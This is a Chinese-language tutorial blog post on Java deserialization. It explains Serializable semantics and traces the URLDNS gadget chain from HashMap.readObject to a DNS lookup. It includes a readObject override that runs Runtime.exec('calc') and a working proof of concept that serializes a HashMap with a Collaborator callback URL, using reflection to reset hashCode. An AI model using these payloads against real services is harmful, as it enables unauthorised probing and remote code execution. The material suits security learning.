Java反序列化概念与利用
几种创建的序列化和反序列化协议
XML&SOAP
JSON
Protobuf
虽然原生的序列化和反序列化用的少,但是还是从原生的开始学
序列化实现demo
Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package Serialize;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
|
这里一定要调用这个接口Serializable
Serialization.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package Serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
|
这里我们将代码进行了封装,将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream
输出流对象,将序列化的对象输出到 ser.bin
当中。再调用 oos 的 writeObject
方法,将对象进行序列化操作。
Unserialization.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package Serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
|
Serializable 接口的特点
序列化类的属性没有实现 Serializable 那么在序列化就会报错
查看Serializable
接口,发现其实是空接口
1
2
|
public interface Serializable {
}
|
只有实现了Serializable
或者Externalizable
接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),Serializable
用来标识当前类可以被 ObjectOutputStream
序列化,以及被 ObjectInputStream
反序列化。如果我们此处将 Serializable 接口删除掉的话,就会报错

在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
举个例子
Animal
是父类,没有实现Serializable
接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package Serialize;
public class Animal {
private String color;
public Animal() {//没有无参构造将会报错
System.out.println("调用 Animal 无参构造");
}
public Animal(String color) {
this.color = color;
System.out.println("调用 Animal 有 color 参数的构造");
}
@Override
public String toString() {
return "Animal{" +
"color='" + color + '\'' +
'}';
}
}
|
然后写一个BlackCat
是 Animal
的子类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package Serialize;
import java.io.Serializable;
public class BlackCat extends Animal implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public BlackCat() {
super();
System.out.println("调用黑猫的无参构造");
}
public BlackCat(String color, String name) {
super(color);
this.name = name;
System.out.println("调用黑猫有 color 参数的构造");
}
@Override
public String toString() {
return "BlackCat{" +
"name='" + name + '\'' +super.toString() +'\'' +
'}';
}
}
|
序列化和反序列化测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
package Serialize;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class SuperMain {
private static final String FILE_PATH = "./super.bin";
public static void main(String[] args) throws Exception {
serializeAnimal();
deserializeAnimal();
}
private static void serializeAnimal() throws Exception {
BlackCat black = new BlackCat("black", "我是黑猫");
System.out.println("序列化前:"+black.toString());
System.out.println("=================开始序列化================");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
oos.writeObject(black);
oos.flush();
oos.close();
}
private static void deserializeAnimal() throws Exception {
System.out.println("=================开始反序列化================");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
BlackCat black = (BlackCat) ois.readObject();
ois.close();
System.out.println(black);
}
}
|

从上面的执行结果来看,如果要序列化的对象的父类 Animal 没有实现序列化接口,那么在反序列化时是会调用对应的无参构造方法的,这样做的目的是重新初始化父类的属性,例如 Animal 因为没有实现序列化接口,因此对应的 color 属性就不会被序列化,因此反序列得到的 color 值就为 null。
一个实现 Serializable 接口的子类也是可以被序列化的。
静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
transient 标识的对象成员变量不参与序列化
在变量前面加上就不会参与序列化
反序列化产生的安全问题
为什么会产生
跟php的类似,这里原生的序列化用到了writeObject
和 readObject
方法,我们需要重写这两个,只要服务端反序列化数据,客户端传递类的 readObject
中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能的形式
以前下的demo为例子,我们在Person
类中重写readObject
方法,使得它能够RCE
1
2
3
4
|
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
|
这样序列化再反序列化调用readObject
方法的时候就会触发弹计算器,不过这种情况一般不会出现
- 入口类参数中包含可控类,该类含有危险方法,
readObject
时调用
- 入口类参数中包含可控类,该类又调用其他有危险方法的类,
readObject
时调用
比如定义类型为Object
,调用equals/hashCode/toString
这种所有类都有的
产生漏洞的攻击路线
共同条件:继承Serializable
入口类Source (重写readObject 调用常见函数;参数类型广泛 ,可以传入一个类作为参数;最好jdk自带)
调用链gadget chain 相同名称 相同类型
执行类sink (实现最终目的 比如RCE)
以HashMap
类为例,找入口类
先找到readObject
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
@java.io.Serial
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);
lf = Math.clamp(lf, 0.25f, 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
double dc = Math.ceil(mappings / (double)lf);
int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(dc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)dc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
|
最后这里key
和value
执行了readObject
,并把值丢到hash函数来
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
再跟进就跟到Object
类了,满足我们调用常见的函数这一条件。
URLDNS
下面以URLDNS这条链来演示一下
链子可以参考https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
1
2
3
4
5
|
Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
|
首先找到URL类
1
|
public final class URL implements java.io.Serializable
|
继承了Serializable
接口,所以可以反序列化
首先查看结构,看到openConnection
1
2
3
|
public URLConnection openConnection() throws java.io.IOException {
return handler.openConnection(this);
}
|
跟进handler.openConnection
方法
1
|
protected abstract URLConnection openConnection(URL u) throws IOException;
|
跟进URLConnection
类,然后鼠标放上面ctrl+H
,查看URLConnection
类的层次结构,找到HttpURLConnection
类

最后发现这里是不能打的,因为openConnection
方法不是常见函数,很难造链子来打
回到上面的链子,我们先找到URL
类的hashCode
方法
1
2
3
4
5
6
7
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
跟进handler.hashCode
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase(Locale.ROOT).hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
|
跟进getHostAddress
方法
1
2
3
|
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}
|
再跟
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException e) {
return null;
}
return hostAddress;
}
|
这里的InetAddress.getByName
其实就是获取主机ip,就是进行了一次DNS查询,然后找能触发这个的方法
这个时候想到前面HashMap
类中有常见的方法hashCode
,而且与这里同名同类型
所以链子如下,习惯跟php一样了,逆着来写链子
1
2
3
4
5
6
|
InetAddress getByName()
URLStreamHandler getHostAddress()
URLStreamHandler hashCode()
URL hashCode()
HashMap hash()
HashMap readObject()
|
我们直接开始搓利用代码,这里用burp的collaborator模块来测试
1
2
3
4
5
6
7
|
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
serialize(map);
}
|
在前下的测试类里面加上HashMap来测试,但是这里有个问题
我们执行序列化按理来说bp是收不到信息的,应该是执行反序列化才会接收到
但是这里序列化的时候就收到了

跟进HashMap
的put
方法看看怎么回事
1
2
3
|
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
|
发现这里直接跟readObject
方法尾部的代码一致,直接调用了hash
方法
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
所以最后跟hashCode
有关
跟到URL
类的hashCode
方法
1
2
3
4
5
6
7
8
9
|
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
[...]
private int hashCode = -1;
|
这里说明hashCode
不等于-1的时候是不会进到handler.hashCode
,这里虽然初始化为-1,但是我们put传入URL
的时候hashCode
并不为-1,从而没能跟前面的HashMap
类链起来,导致序列化的时候就触发DNS查询了,这里尝
试反序列化确实bp也是收不到的,因为hashCode
不为-1了
这里改进的思路是
1
2
3
4
5
6
7
8
9
10
|
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
//这里不要发起请求
map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
//这里把hashCode改为-1
//通过反射 改变对象已有的属性
serialize(map);
}
|
这里把完整poc先写再这,后面继续分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
//这里不要发起请求
URL url = new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,114514);//这里测试一下设置值
map.put(url,1);
hashcodefile.set(url,-1);//这里把hashCode改为-1
//通过反射 改变对象已有的属性
serialize(map);
}
|
这里Java9+版本默认禁止反射访问 JDK 内部 API,也就是会报错
需要在终端开启--add-opens
权限,然后才能运行
1
2
|
javac Serialize/SerializationTest.java
java --add-opens java.base/java.net=ALL-UNNAMED Serialize.SerializationTest
|
或者用MethodHandles
来进行反射操作,但是同样需要终端开启--add-opens
权限
然后反序列化这里也需要修改一下来查看HashMap
类型的ser.bin
1
2
3
4
|
public static void main(String[] args) throws Exception{
HashMap<?, ?> map = (HashMap<?, ?>) unserialize("ser.bin"); // 正确读取 HashMap
System.out.println(map);
}
|